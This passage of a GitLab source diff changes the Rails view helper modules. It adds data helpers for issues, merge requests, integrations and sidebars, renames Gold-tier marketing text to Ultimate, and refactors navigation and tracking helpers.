s_("GroupSettings|This setting is applied on %{ancestor_group} and has been overridden on this subgroup.").html_safe % { ancestor_group: ancestor_group(group) }
end
+
+ def issuables_count_service_class(type)
+ if type == :issues
+ Groups::OpenIssuesCountService
+ elsif type == :merge_requests
+ Groups::MergeRequestsCountService
+ end
+ end
+
+ def format_issuables_count(count_service, count)
+ if count > count_service::CACHED_COUNT_THRESHOLD
+ ActiveSupport::NumberHelper
+ .number_to_human(
+ count,
+ units: { thousand: 'k', million: 'm' }, precision: 1, significant: false, format: '%n%u'
+ )
+ else
+ number_with_delimiter(count)
+ end
+ end
end
GroupsHelper.prepend_if_ee('EE::GroupsHelper')
diff --git a/app/helpers/ide_helper.rb b/app/helpers/ide_helper.rb
index 5f0d513ba35..61d8d0f779d 100644
--- a/app/helpers/ide_helper.rb
+++ b/app/helpers/ide_helper.rb
@@ -16,7 +16,7 @@ module IdeHelper
'branch-name' => @branch,
'file-path' => @path,
'merge-request' => @merge_request,
- 'forked-project' => convert_to_project_entity_json(@forked_project),
+ 'fork-info' => @fork_info&.to_json,
'project' => convert_to_project_entity_json(@project)
}
end
diff --git a/app/helpers/in_product_marketing_helper.rb b/app/helpers/in_product_marketing_helper.rb
index 061404e989d..2574b57a82e 100644
--- a/app/helpers/in_product_marketing_helper.rb
+++ b/app/helpers/in_product_marketing_helper.rb
@@ -49,7 +49,7 @@ module InProductMarketingHelper
trial: [
s_('InProductMarketing|Start a free trial of GitLab Ultimate – no CC required'),
s_('InProductMarketing|Improve app security with a 30-day trial'),
- s_('InProductMarketing|Start with a GitLab Gold free trial')
+ s_('InProductMarketing|Start with a GitLab Ultimate free trial')
],
team: [
s_('InProductMarketing|Invite your colleagues to join in less than one minute'),
@@ -97,8 +97,8 @@ module InProductMarketingHelper
s_('InProductMarketing|Follow our steps')
],
trial: [
- s_('InProductMarketing|...and you can get a free trial of GitLab Gold'),
- s_('InProductMarketing|Try GitLab Gold for free'),
+ s_('InProductMarketing|...and you can get a free trial of GitLab Ultimate'),
+ s_('InProductMarketing|Try GitLab Ultimate for free'),
s_('InProductMarketing|Better code in less time')
],
team: [
@@ -142,7 +142,7 @@ module InProductMarketingHelper
s_('InProductMarketing|Ticketmaster decreased their CI build time by 15X')
], format)
].join("\n"),
- s_("InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Gold and your teams will be on it from day one."),
+ s_("InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."),
[
s_('InProductMarketing|Stop wondering and use GitLab to answer questions like:'),
list([
@@ -172,9 +172,9 @@ module InProductMarketingHelper
nil
],
trial: [
- s_('InProductMarketing|Start a GitLab Gold trial today in less than one minute, no credit card required.'),
- s_('InProductMarketing|Get started today with a 30-day GitLab Gold trial, no credit card required.'),
- s_('InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Gold and enable these features in less than 5 minutes with no credit card required.')
+ s_('InProductMarketing|Start a GitLab Ultimate trial today in less than one minute, no credit card required.'),
+ s_('InProductMarketing|Get started today with a 30-day GitLab Ultimate trial, no credit card required.'),
+ s_('InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required.')
],
team: [
s_('InProductMarketing|Invite your colleagues and start shipping code faster.'),
@@ -250,7 +250,7 @@ module InProductMarketingHelper
trial: [
s_('InProductMarketing|Start a trial'),
s_('InProductMarketing|Beef up your security'),
- s_('InProductMarketing|Go for the gold!')
+ s_('InProductMarketing|Start your trial now!')
],
team: [
s_('InProductMarketing|Invite your colleagues today'),
@@ -313,7 +313,8 @@ module InProductMarketingHelper
end
def unsubscribe_link(format)
- link(s_('InProductMarketing|unsubscribe'), '%tag_unsubscribe_url%', format)
+ unsubscribe_url = Gitlab.com? ? '%tag_unsubscribe_url%' : profile_notifications_url
+ link(s_('InProductMarketing|unsubscribe'), unsubscribe_url, format)
end
def link(text, link, format)
diff --git a/app/helpers/issuables_helper.rb b/app/helpers/issuables_helper.rb
index 639a54fa9ec..8ebc773bb25 100644
--- a/app/helpers/issuables_helper.rb
+++ b/app/helpers/issuables_helper.rb
@@ -20,13 +20,13 @@ module IssuablesHelper
end
def assignees_label(issuable, include_value: true)
- label = 'Assignee'.pluralize(issuable.assignees.count)
+ assignees = issuable.assignees
if include_value
sanitized_list = sanitize_name(issuable.assignee_list)
- "#{label}: #{sanitized_list}"
+ ns_('NotificationEmail|Assignee: %{users}', 'NotificationEmail|Assignees: %{users}', assignees.count) % { users: sanitized_list }
else
- label
+ ns_('NotificationEmail|Assignee', 'NotificationEmail|Assignees', assignees.count)
end
end
@@ -389,7 +389,8 @@ module IssuablesHelper
severity: issuable[:severity],
timeTrackingLimitToHours: Gitlab::CurrentSettings.time_tracking_limit_to_hours,
createNoteEmail: issuable[:create_note_email],
- issuableType: issuable[:type]
+ issuableType: issuable[:type],
+ projectMembersPath: project_project_members_path(@project, sort: :access_level_desc)
}
end
diff --git a/app/helpers/issues_helper.rb b/app/helpers/issues_helper.rb
index 0a9965496b8..0a83e707412 100644
--- a/app/helpers/issues_helper.rb
+++ b/app/helpers/issues_helper.rb
@@ -163,10 +163,41 @@ module IssuesHelper
}
end
+ def issues_list_data(project, current_user, finder)
+ {
+ calendar_path: url_for(safe_params.merge(calendar_url_options)),
+ can_bulk_update: can?(current_user, :admin_issue, project).to_s,
+ can_edit: can?(current_user, :admin_project, project).to_s,
+ can_import_issues: can?(current_user, :import_issues, @project).to_s,
+ email: current_user&.notification_email,
+ empty_state_svg_path: image_path('illustrations/issues.svg'),
+ endpoint: expose_path(api_v4_projects_issues_path(id: project.id)),
+ export_csv_path: export_csv_project_issues_path(project),
+ full_path: project.full_path,
+ has_issues: project_issues(project).exists?.to_s,
+ import_csv_issues_path: import_csv_namespace_project_issues_path,
+ is_signed_in: current_user.present?.to_s,
+ issues_path: project_issues_path(project),
+ jira_integration_path: help_page_url('user/project/integrations/jira', anchor: 'view-jira-issues'),
+ max_attachment_size: number_to_human_size(Gitlab::CurrentSettings.max_attachment_size.megabytes),
+ new_issue_path: new_project_issue_path(project, issue: { assignee_id: finder.assignee.try(:id), milestone_id: finder.milestones.first.try(:id) }),
+ project_import_jira_path: project_import_jira_path(project),
+ rss_path: url_for(safe_params.merge(rss_url_options)),
+ show_new_issue_link: show_new_issue_link?(project).to_s,
+ sign_in_path: new_user_session_path
+ }
+ end
+
# Overridden in EE
def scoped_labels_available?(parent)
false
end
+
+ def award_emoji_issue_api_path(issue)
+ if Feature.enabled?(:improved_emoji_picker, issue.project, default_enabled: :yaml)
+ api_v4_projects_issues_award_emoji_path(id: issue.project.id, issue_iid: issue.iid)
+ end
+ end
end
IssuesHelper.prepend_if_ee('EE::IssuesHelper')
diff --git a/app/helpers/jira_connect_helper.rb b/app/helpers/jira_connect_helper.rb
index 76a7f785df6..475469a6df9 100644
--- a/app/helpers/jira_connect_helper.rb
+++ b/app/helpers/jira_connect_helper.rb
@@ -6,8 +6,24 @@ module JiraConnectHelper
{
groups_path: api_v4_groups_path(params: { min_access_level: Gitlab::Access::MAINTAINER, skip_groups: skip_groups }),
+ subscriptions: subscriptions.map { |s| serialize_subscription(s) }.to_json,
subscriptions_path: jira_connect_subscriptions_path,
users_path: current_user ? nil : jira_connect_users_path
}
end
+
+ private
+
+ def serialize_subscription(subscription)
+ {
+ group: {
+ name: subscription.namespace.name,
+ avatar_url: subscription.namespace.avatar_url,
+ full_name: subscription.namespace.full_name,
+ description: subscription.namespace.description
+ },
+ created_at: subscription.created_at,
+ unlink_path: jira_connect_subscription_path(subscription)
+ }
+ end
end
diff --git a/app/helpers/learn_gitlab_helper.rb b/app/helpers/learn_gitlab_helper.rb
index f50c1e52bed..81896fb9fa4 100644
--- a/app/helpers/learn_gitlab_helper.rb
+++ b/app/helpers/learn_gitlab_helper.rb
@@ -11,19 +11,20 @@ module LearnGitlabHelper
def onboarding_actions_data(project)
attributes = onboarding_progress(project).attributes.symbolize_keys
- action_urls.map do |action, url|
+ action_urls.to_h do |action, url|
[
action,
url: url,
completed: attributes[OnboardingProgress.column_name(action)].present?,
svg: image_path("learn_gitlab/#{action}.svg")
]
- end.to_h
+ end
end
private
ACTION_ISSUE_IDS = {
+ issue_created: 4,
git_write: 6,
pipeline_created: 7,
merge_request_created: 9,
diff --git a/app/helpers/merge_requests_helper.rb b/app/helpers/merge_requests_helper.rb
index 7a798c83b7e..df7fcb0f3da 100644
--- a/app/helpers/merge_requests_helper.rb
+++ b/app/helpers/merge_requests_helper.rb
@@ -176,13 +176,39 @@ module MergeRequestsHelper
def reviewers_label(merge_request, include_value: true)
reviewers = merge_request.reviewers
- reviewer_label = 'Reviewer'.pluralize(reviewers.count)
if include_value
sanitized_list = sanitize_name(reviewers.map(&:name).to_sentence)
- "#{reviewer_label}: #{sanitized_list}"
+ ns_('NotificationEmail|Reviewer: %{users}', 'NotificationEmail|Reviewers: %{users}', reviewers.count) % { users: sanitized_list }
else
- reviewer_label
+ ns_('NotificationEmail|Reviewer', 'NotificationEmail|Reviewers', reviewers.count)
+ end
+ end
+
+ def diffs_tab_pane_data(project, merge_request, params)
+ {
+ "is-locked": merge_request.discussion_locked?,
+ endpoint: diffs_project_merge_request_path(project, merge_request, 'json', params),
+ endpoint_metadata: @endpoint_metadata_url,
+ endpoint_batch: diffs_batch_project_json_merge_request_path(project, merge_request, 'json', params),
+ endpoint_coverage: @coverage_path,
+ help_page_path: help_page_path('user/discussions/index.md', anchor: 'suggest-changes'),
+ current_user_data: @current_user_data,
+ update_current_user_path: @update_current_user_path,
+ project_path: project_path(merge_request.project),
+ changes_empty_state_illustration: image_path('illustrations/merge_request_changes_empty.svg'),
+ is_fluid_layout: fluid_layout.to_s,
+ dismiss_endpoint: user_callouts_path,
+ show_suggest_popover: show_suggest_popover?.to_s,
+ show_whitespace_default: @show_whitespace_default.to_s,
+ file_by_file_default: @file_by_file_default.to_s,
+ default_suggestion_commit_message: default_suggestion_commit_message
+ }
+ end
+
+ def award_emoji_merge_request_api_path(merge_request)
+ if Feature.enabled?(:improved_emoji_picker, merge_request.project, default_enabled: :yaml)
+ api_v4_projects_merge_requests_award_emoji_path(id: merge_request.project.id, merge_request_iid: merge_request.iid)
end
end
diff --git a/app/helpers/namespaces_helper.rb b/app/helpers/namespaces_helper.rb
index 8cf5cd49322..a4521541bf9 100644
--- a/app/helpers/namespaces_helper.rb
+++ b/app/helpers/namespaces_helper.rb
@@ -56,6 +56,33 @@ module NamespacesHelper
namespaces_options(selected, **options)
end
+ def cascading_namespace_settings_enabled?
+ NamespaceSetting.cascading_settings_feature_enabled?
+ end
+
+ def cascading_namespace_settings_popover_data(attribute, group, settings_path_helper)
+ locked_by_ancestor = group.namespace_settings.public_send("#{attribute}_locked_by_ancestor?") # rubocop:disable GitlabSecurity/PublicSend
+
+ popover_data = {
+ locked_by_application_setting: group.namespace_settings.public_send("#{attribute}_locked_by_application_setting?"), # rubocop:disable GitlabSecurity/PublicSend
+ locked_by_ancestor: locked_by_ancestor
+ }
+
+ if locked_by_ancestor
+ ancestor_namespace = group.namespace_settings.public_send("#{attribute}_locked_ancestor").namespace # rubocop:disable GitlabSecurity/PublicSend
+
+ popover_data[:ancestor_namespace] = {
+ full_name: ancestor_namespace.full_name,
+ path: settings_path_helper.call(ancestor_namespace)
+ }
+ end
+
+ {
+ popover_data: popover_data.to_json,
+ testid: 'cascading-settings-lock-icon'
+ }
+ end
+
private
# Many importers create a temporary Group, so use the real
diff --git a/app/helpers/nav_helper.rb b/app/helpers/nav_helper.rb
index c170e58b4ce..db144f63f92 100644
--- a/app/helpers/nav_helper.rb
+++ b/app/helpers/nav_helper.rb
@@ -92,10 +92,8 @@ module NavHelper
links << :admin_impersonation
end
- if Feature.enabled?(:user_mode_in_session)
- if current_user_mode.admin_mode?
- links << :admin_mode
- end
+ if Gitlab::CurrentSettings.admin_mode && current_user_mode.admin_mode?
+ links << :admin_mode
end
links
diff --git a/app/helpers/packages_helper.rb b/app/helpers/packages_helper.rb
index 8f365fd0786..04465f7798c 100644
--- a/app/helpers/packages_helper.rb
+++ b/app/helpers/packages_helper.rb
@@ -50,6 +50,7 @@ module PackagesHelper
def track_package_event(event_name, scope, **args)
::Packages::CreateEventService.new(nil, current_user, event_name: event_name, scope: scope).execute
- track_event(event_name, **args)
+ category = args.delete(:category) || self.class.name
+ ::Gitlab::Tracking.event(category, event_name.to_s, **args)
end
end
diff --git a/app/helpers/page_layout_helper.rb b/app/helpers/page_layout_helper.rb
index 8920133734c..6997c8cffda 100644
--- a/app/helpers/page_layout_helper.rb
+++ b/app/helpers/page_layout_helper.rb
@@ -159,13 +159,20 @@ module PageLayoutHelper
end
def user_status_properties(user)
- default_properties = { current_emoji: '', current_message: '', can_set_user_availability: Feature.enabled?(:set_user_availability_status, user, default_enabled: :yaml), default_emoji: UserStatus::DEFAULT_EMOJI }
+ default_properties = {
+ current_emoji: '',
+ current_message: '',
+ can_set_user_availability: Feature.enabled?(:set_user_availability_status, user, default_enabled: :yaml),
+ default_emoji: UserStatus::DEFAULT_EMOJI
+ }
+
return default_properties unless user&.status
default_properties.merge({
current_emoji: user.status.emoji.to_s,
current_message: user.status.message.to_s,
- current_availability: user.status.availability.to_s
+ current_availability: user.status.availability.to_s,
+ current_clear_status_after: user.status.clear_status_at.to_s
})
end
diff --git a/app/helpers/preferences_helper.rb b/app/helpers/preferences_helper.rb
index 12bc509466e..add6e1eaf6f 100644
--- a/app/helpers/preferences_helper.rb
+++ b/app/helpers/preferences_helper.rb
@@ -33,7 +33,7 @@ module PreferencesHelper
groups: _("Your Groups"),
todos: _("Your To-Do List"),
issues: _("Assigned Issues"),
- merge_requests: _("Assigned Merge Requests"),
+ merge_requests: _("Assigned merge requests"),
operations: _("Operations Dashboard")
}.with_indifferent_access.freeze
end
diff --git a/app/helpers/profiles_helper.rb b/app/helpers/profiles_helper.rb
index 87187e97df4..3219620de71 100644
--- a/app/helpers/profiles_helper.rb
+++ b/app/helpers/profiles_helper.rb
@@ -37,4 +37,18 @@ module ProfilesHelper
def user_status_set_to_busy?(status)
status&.availability == availability_values[:busy]
end
+
+ # Overridden in EE::ProfilesHelper#ssh_key_expiration_tooltip
+ def ssh_key_expiration_tooltip(key)
+ return key.errors.full_messages.join(', ') if key.errors.full_messages.any?
+
+ s_('Profiles|Key usable beyond expiration date.') if key.expired?
+ end
+
+ # Overridden in EE::ProfilesHelper#ssh_key_expires_field_description
+ def ssh_key_expires_field_description
+ s_('Profiles|Key can still be used after expiration.')
+ end
end
+
+ProfilesHelper.prepend_ee_mod
diff --git a/app/helpers/projects_helper.rb b/app/helpers/projects_helper.rb
index 6c17039a5d9..68c3738d19e 100644
--- a/app/helpers/projects_helper.rb
+++ b/app/helpers/projects_helper.rb
@@ -410,6 +410,10 @@ module ProjectsHelper
nav_tabs << :container_registry
end
+ if Feature.enabled?(:infrastructure_registry_page)
+ nav_tabs << :infrastructure_registry
+ end
+
# Pipelines feature is tied to presence of builds
if can?(current_user, :read_build, project)
nav_tabs << :pipelines
@@ -725,14 +729,6 @@ module ProjectsHelper
]
end
- def sidebar_projects_paths
- %w[
- projects#show
- projects#activity
- releases#index
- ]
- end
-
def sidebar_settings_paths
%w[
projects#edit
@@ -809,10 +805,6 @@ module ProjectsHelper
can?(current_user, :destroy_container_image, project)
end
- def project_access_token_available?(project)
- can?(current_user, :admin_resource_access_tokens, project)
- end
-
def build_project_breadcrumb_link(project)
project_name = simple_sanitize(project.name)
diff --git a/app/helpers/search_helper.rb b/app/helpers/search_helper.rb
index 86012352c8b..2568917bafc 100644
--- a/app/helpers/search_helper.rb
+++ b/app/helpers/search_helper.rb
@@ -193,7 +193,7 @@ module SearchHelper
{ category: "In this project", label: _("Network"), url: project_network_path(@project, ref) },
{ category: "In this project", label: _("Graph"), url: project_graph_path(@project, ref) },
{ category: "In this project", label: _("Issues"), url: project_issues_path(@project) },
- { category: "In this project", label: _("Merge Requests"), url: project_merge_requests_path(@project) },
+ { category: "In this project", label: _("Merge requests"), url: project_merge_requests_path(@project) },
{ category: "In this project", label: _("Milestones"), url: project_milestones_path(@project) },
{ category: "In this project", label: _("Snippets"), url: project_snippets_path(@project) },
{ category: "In this project", label: _("Members"), url: project_project_members_path(@project) },
diff --git a/app/helpers/services_helper.rb b/app/helpers/services_helper.rb
index 14d20e7c622..ffa09cb12fb 100644
--- a/app/helpers/services_helper.rb
+++ b/app/helpers/services_helper.rb
@@ -4,29 +4,29 @@ module ServicesHelper
def service_event_description(event)
case event
when "push", "push_events"
- s_("ProjectService|Event will be triggered by a push to the repository")
+ s_("ProjectService|Trigger event for pushes to the repository.")
when "tag_push", "tag_push_events"
- s_("ProjectService|Event will be triggered when a new tag is pushed to the repository")
+ s_("ProjectService|Trigger event for new tags pushed to the repository.")
when "note", "note_events"
- s_("ProjectService|Event will be triggered when someone adds a comment")
+ s_("ProjectService|Trigger event for new comments.")
when "confidential_note", "confidential_note_events"
- s_("ProjectService|Event will be triggered when someone adds a comment on a confidential issue")
+ s_("ProjectService|Trigger event for new comments on confidential issues.")
when "issue", "issue_events"
- s_("ProjectService|Event will be triggered when an issue is created/updated/closed")
+ s_("ProjectService|Trigger event when an issue is created, updated, or closed.")
when "confidential_issue", "confidential_issue_events"
- s_("ProjectService|Event will be triggered when a confidential issue is created/updated/closed")
+ s_("ProjectService|Trigger event when a confidential issue is created, updated, or closed.")
when "merge_request", "merge_request_events"
- s_("ProjectService|Event will be triggered when a merge request is created/updated/merged")
+ s_("ProjectService|Trigger event when a merge request is created, updated, or merged.")
when "pipeline", "pipeline_events"
- s_("ProjectService|Event will be triggered when a pipeline status changes")
+ s_("ProjectService|Trigger event when a pipeline status changes.")
when "wiki_page", "wiki_page_events"
- s_("ProjectService|Event will be triggered when a wiki page is created/updated")
+ s_("ProjectService|Trigger event when a wiki page is created or updated.")
when "commit", "commit_events"
- s_("ProjectService|Event will be triggered when a commit is created/updated")
+ s_("ProjectService|Trigger event when a commit is created or updated.")
when "deployment"
- s_("ProjectService|Event will be triggered when a deployment starts or finishes")
+ s_("ProjectService|Trigger event when a deployment starts or finishes.")
when "alert"
- s_("ProjectService|Event will be triggered when a new, unique alert is recorded")
+ s_("ProjectService|Trigger event when a new, unique alert is recorded.")
end
end
@@ -86,7 +86,7 @@ module ServicesHelper
end
def integration_form_data(integration, group: nil)
- {
+ form_data = {
id: integration.id,
show_active: integration.show_active_box?.to_s,
activated: (integration.active || integration.new_record?).to_s,
@@ -106,6 +106,19 @@ module ServicesHelper
test_path: scoped_test_integration_path(integration),
reset_path: scoped_reset_integration_path(integration, group: group)
}
+
+ if integration.is_a?(JiraService)
+ form_data[:jira_issue_transition_automatic] = integration.jira_issue_transition_automatic
+ form_data[:jira_issue_transition_id] = integration.jira_issue_transition_id
+ end
+
+ form_data
+ end
+
+ def integration_list_data(integrations)
+ {
+ integrations: integrations.map { |i| serialize_integration(i) }.to_json
+ }
end
def trigger_events_for_service(integration)
@@ -148,6 +161,17 @@ module ServicesHelper
'project'
end
end
+
+ def serialize_integration(integration)
+ {
+ active: integration.operating?,
+ title: integration.title,
+ description: integration.description,
+ updated_at: integration.updated_at,
+ edit_path: scoped_edit_integration_path(integration),
+ name: integration.to_param
+ }
+ end
end
ServicesHelper.prepend_if_ee('EE::ServicesHelper')
diff --git a/app/helpers/sidebars_helper.rb b/app/helpers/sidebars_helper.rb
new file mode 100644
index 00000000000..b0fffe93c25
--- /dev/null
+++ b/app/helpers/sidebars_helper.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+module SidebarsHelper
+ def sidebar_tracking_attributes_by_object(object)
+ case object
+ when Project
+ sidebar_project_tracking_attrs
+ when Group
+ sidebar_group_tracking_attrs
+ when User
+ sidebar_user_profile_tracking_attrs
+ else
+ {}
+ end
+ end
+
+ def project_sidebar_context(project, user)
+ Sidebars::Projects::Context.new(**project_sidebar_context_data(project, user))
+ end
+
+ private
+
+ def sidebar_project_tracking_attrs
+ tracking_attrs('projects_side_navigation', 'render', 'projects_side_navigation')
+ end
+
+ def sidebar_group_tracking_attrs
+ tracking_attrs('groups_side_navigation', 'render', 'groups_side_navigation')
+ end
+
+ def sidebar_user_profile_tracking_attrs
+ tracking_attrs('user_side_navigation', 'render', 'user_side_navigation')
+ end
+
+ def project_sidebar_context_data(project, user)
+ {
+ current_user: user,
+ container: project,
+ learn_gitlab_experiment_enabled: learn_gitlab_experiment_enabled?(project)
+ }
+ end
+end
diff --git a/app/helpers/snippets_helper.rb b/app/helpers/snippets_helper.rb
index 36f4fced147..f4af7a5a350 100644
--- a/app/helpers/snippets_helper.rb
+++ b/app/helpers/snippets_helper.rb
@@ -11,16 +11,6 @@ module SnippetsHelper
end
end
- def download_raw_snippet_button(snippet)
- link_to(sprite_icon('download'),
- gitlab_raw_snippet_path(snippet, inline: false),
- target: '_blank',
- rel: 'noopener noreferrer',
- class: "btn btn-sm has-tooltip",
- title: 'Download',
- data: { container: 'body' })
- end
-
# Return the path of a snippets index for a user or for a project
#
# @returns String, path to snippet index
@@ -54,7 +44,7 @@ module SnippetsHelper
link_to(external_snippet_icon('doc-code'),
gitlab_raw_snippet_blob_url(snippet, blob.path),
- class: 'btn',
+ class: 'gl-button btn btn-default',
target: '_blank',
rel: 'noopener noreferrer',
title: 'Open raw')
@@ -63,7 +53,7 @@ module SnippetsHelper
def embedded_snippet_download_button(snippet, blob)
link_to(external_snippet_icon('download'),
gitlab_raw_snippet_blob_url(snippet, blob.path, nil, inline: false),
- class: 'btn',
+ class: 'gl-button btn btn-default',
target: '_blank',
title: 'Download',
rel: 'noopener noreferrer')
diff --git a/app/helpers/sorting_helper.rb b/app/helpers/sorting_helper.rb
index 35c8b140bfe..974ec046bbb 100644
--- a/app/helpers/sorting_helper.rb
+++ b/app/helpers/sorting_helper.rb
@@ -231,7 +231,7 @@ module SortingHelper
end
def sort_direction_button(reverse_url, reverse_sort, sort_value)
- link_class = 'btn btn-default has-tooltip reverse-sort-btn qa-reverse-sort rspec-reverse-sort'
+ link_class = 'gl-button btn btn-default btn-icon has-tooltip reverse-sort-btn qa-reverse-sort rspec-reverse-sort'
icon = sort_direction_icon(sort_value)
url = reverse_url
diff --git a/app/helpers/submodule_helper.rb b/app/helpers/submodule_helper.rb
index 959178c47d7..f1e0be3a622 100644
--- a/app/helpers/submodule_helper.rb
+++ b/app/helpers/submodule_helper.rb
@@ -18,7 +18,8 @@ module SubmoduleHelper
end
if url =~ %r{([^/:]+)/([^/]+(?:\.git)?)\Z}
- namespace, project = Regexp.last_match(1), Regexp.last_match(2)
+ namespace = Regexp.last_match(1)
+ project = Regexp.last_match(2)
gitlab_hosts = [Gitlab.config.gitlab.url,
Gitlab.config.gitlab_shell.ssh_path_prefix]
diff --git a/app/helpers/tab_helper.rb b/app/helpers/tab_helper.rb
index e81986d4453..1d3242ca44a 100644
--- a/app/helpers/tab_helper.rb
+++ b/app/helpers/tab_helper.rb
@@ -65,6 +65,13 @@ module TabHelper
# # When `TreeController#index` is requested
# # => '<li>Hello</li>'
#
+ # # Paths, controller and actions can be used at the same time
+ # nav_link(path: 'tree#show', controller: 'admin/appearances') { "Hello" }
+ #
+ # nav_link(path: 'foo#bar', controller: 'tree') { "Hello" }
+ # nav_link(path: 'foo#bar', controller: 'tree', action: 'show') { "Hello" }
+ # nav_link(path: 'foo#bar', action: 'show') { "Hello" }
+ #
# Returns a list item element String
def nav_link(options = {}, &block)
klass = active_nav_link?(options) ? 'active' : ''
@@ -85,34 +92,12 @@ module TabHelper
def active_nav_link?(options)
return false if options[:unless]&.call
- if path = options.delete(:path)
- unless path.respond_to?(:each)
- path = [path]
- end
-
- path.any? do |single_path|
- current_path?(single_path)
- end
- elsif page = options.delete(:page)
- unless page.respond_to?(:each)
- page = [page]
- end
-
- page.any? do |single_page|
- current_page?(single_page)
- end
- else
- c = options.delete(:controller)
- a = options.delete(:action)
+ controller = options.delete(:controller)
+ action = options.delete(:action)
- if c && a
- # When given both options, make sure BOTH are true
- current_controller?(*c) && current_action?(*a)
- else
- # Otherwise check EITHER option
- current_controller?(*c) || current_action?(*a)
- end
- end
+ route_matches_paths?(options.delete(:path)) ||
+ route_matches_pages?(options.delete(:page)) ||
+ route_matches_controllers_and_or_actions?(controller, action)
end
def current_path?(path)
@@ -127,4 +112,26 @@ module TabHelper
'active'
end
end
+
+ private
+
+ def route_matches_paths?(paths)
+ Array(paths).compact.any? do |single_path|
+ current_path?(single_path)
+ end
+ end
+
+ def route_matches_pages?(pages)
+ Array(pages).compact.any? do |single_page|
+ current_page?(single_page)
+ end
+ end
+
+ def route_matches_controllers_and_or_actions?(controller, action)
+ if controller && action
+ current_controller?(*controller) && current_action?(*action)
+ else
+ current_controller?(*controller) || current_action?(*action)
+ end
+ end
end
diff --git a/app/helpers/timeboxes_helper.rb b/app/helpers/timeboxes_helper.rb
index bbf8cf7dac3..e034a985b50 100644
--- a/app/helpers/timeboxes_helper.rb
+++ b/app/helpers/timeboxes_helper.rb
@@ -115,17 +115,6 @@ module TimeboxesHelper
end
end
- def milestones_filter_dropdown_path
- project = @target_project || @project
- if project
- project_milestones_path(project, :json)
- elsif @group
- group_milestones_path(@group, :json)
- else
- dashboard_milestones_path(:json)
- end
- end
-
def milestone_time_for(date, date_type)
title = date_type == :start ? "Start date" : "End date"
diff --git a/app/helpers/todos_helper.rb b/app/helpers/todos_helper.rb
index 7b0e0df8998..e9a0fef06c4 100644
--- a/app/helpers/todos_helper.rb
+++ b/app/helpers/todos_helper.rb
@@ -157,21 +157,11 @@ module TodosHelper
]
end
- def todo_projects_options
- projects = current_user.authorized_projects.sorted_by_activity.non_archived.with_route
-
- projects = projects.map do |project|
- { id: project.id, text: project.full_name }
- end
-
- projects.unshift({ id: '', text: 'Any Project' }).to_json
- end
-
def todo_types_options
[
{ id: '', text: 'Any Type' },
{ id: 'Issue', text: 'Issue' },
- { id: 'MergeRequest', text: 'Merge Request' },
+ { id: 'MergeRequest', text: 'Merge request' },
{ id: 'DesignManagement::Design', text: 'Design' },
{ id: 'AlertManagement::Alert', text: 'Alert' }
]
@@ -240,14 +230,6 @@ module TodosHelper
false
end
end
-
- def todo_group_options
- groups = current_user.authorized_groups.with_route.map do |group|
- { id: group.id, text: group.full_name }
- end
-
- groups.unshift({ id: '', text: 'Any Group' }).to_json
- end
end
TodosHelper.prepend_if_ee('EE::TodosHelper')
diff --git a/app/helpers/tracking_helper.rb b/app/helpers/tracking_helper.rb
index 221d9692661..7957038c21e 100644
--- a/app/helpers/tracking_helper.rb
+++ b/app/helpers/tracking_helper.rb
@@ -1,13 +1,13 @@
# frozen_string_literal: true
module TrackingHelper
- def tracking_attrs(label, event, property)
+ def tracking_attrs(label, action, property)
return {} unless tracking_enabled?
{
data: {
track_label: label,
- track_event: event,
+ track_action: action,
track_property: property
}
}
diff --git a/app/helpers/tree_helper.rb b/app/helpers/tree_helper.rb
index b050f533d77..b795851ba30 100644
--- a/app/helpers/tree_helper.rb
+++ b/app/helpers/tree_helper.rb
@@ -131,6 +131,8 @@ module TreeHelper
def breadcrumb_data_attributes
attrs = {
+ selected_branch: selected_branch,
+ can_push_code: can?(current_user, :push_code, @project).to_s,
can_collaborate: can_collaborate_with_project?(@project).to_s,
new_blob_path: project_new_blob_path(@project, @ref),
upload_path: project_create_blob_path(@project, @ref),
diff --git a/app/helpers/user_callouts_helper.rb b/app/helpers/user_callouts_helper.rb
index 6a242d000ae..7a90984cd77 100644
--- a/app/helpers/user_callouts_helper.rb
+++ b/app/helpers/user_callouts_helper.rb
@@ -5,7 +5,7 @@ module UserCalloutsHelper
GKE_CLUSTER_INTEGRATION = 'gke_cluster_integration'
GCP_SIGNUP_OFFER = 'gcp_signup_offer'
SUGGEST_POPOVER_DISMISSED = 'suggest_popover_dismissed'
- SERVICE_TEMPLATES_DEPRECATED = 'service_templates_deprecated'
+ SERVICE_TEMPLATES_DEPRECATED_CALLOUT = 'service_templates_deprecated_callout'
TABS_POSITION_HIGHLIGHT = 'tabs_position_highlight'
WEBHOOKS_MOVED = 'webhooks_moved'
CUSTOMIZE_HOMEPAGE = 'customize_homepage'
@@ -41,16 +41,19 @@ module UserCalloutsHelper
!user_dismissed?(SUGGEST_POPOVER_DISMISSED)
end
- def show_service_templates_deprecated?
- !user_dismissed?(SERVICE_TEMPLATES_DEPRECATED)
+ def show_service_templates_deprecated_callout?
+ !Gitlab.com? &&
+ current_user&.admin? &&
+ Service.for_template.active.exists? &&
+ !user_dismissed?(SERVICE_TEMPLATES_DEPRECATED_CALLOUT)
end
def show_webhooks_moved_alert?
!user_dismissed?(WEBHOOKS_MOVED)
end
- def show_customize_homepage_banner?(customize_homepage)
- customize_homepage && !user_dismissed?(CUSTOMIZE_HOMEPAGE)
+ def show_customize_homepage_banner?
+ !user_dismissed?(CUSTOMIZE_HOMEPAGE)
end
def show_feature_flags_new_version?
diff --git a/app/helpers/whats_new_helper.rb b/app/helpers/whats_new_helper.rb
index bbf5bde5904..9362ae1491f 100644
--- a/app/helpers/whats_new_helper.rb
+++ b/app/helpers/whats_new_helper.rb
@@ -5,15 +5,11 @@ module WhatsNewHelper
ReleaseHighlight.most_recent_item_count
end
- def whats_new_storage_key
- most_recent_version = ReleaseHighlight.versions&.first
-
- return unless most_recent_version
-
- ['display-whats-new-notification', most_recent_version].join('-')
+ def whats_new_version_digest
+ ReleaseHighlight.most_recent_version_digest
end
- def whats_new_versions
- ReleaseHighlight.versions
+ def display_whats_new?
+ Gitlab.dev_env_org_or_com? || user_signed_in?
end
end
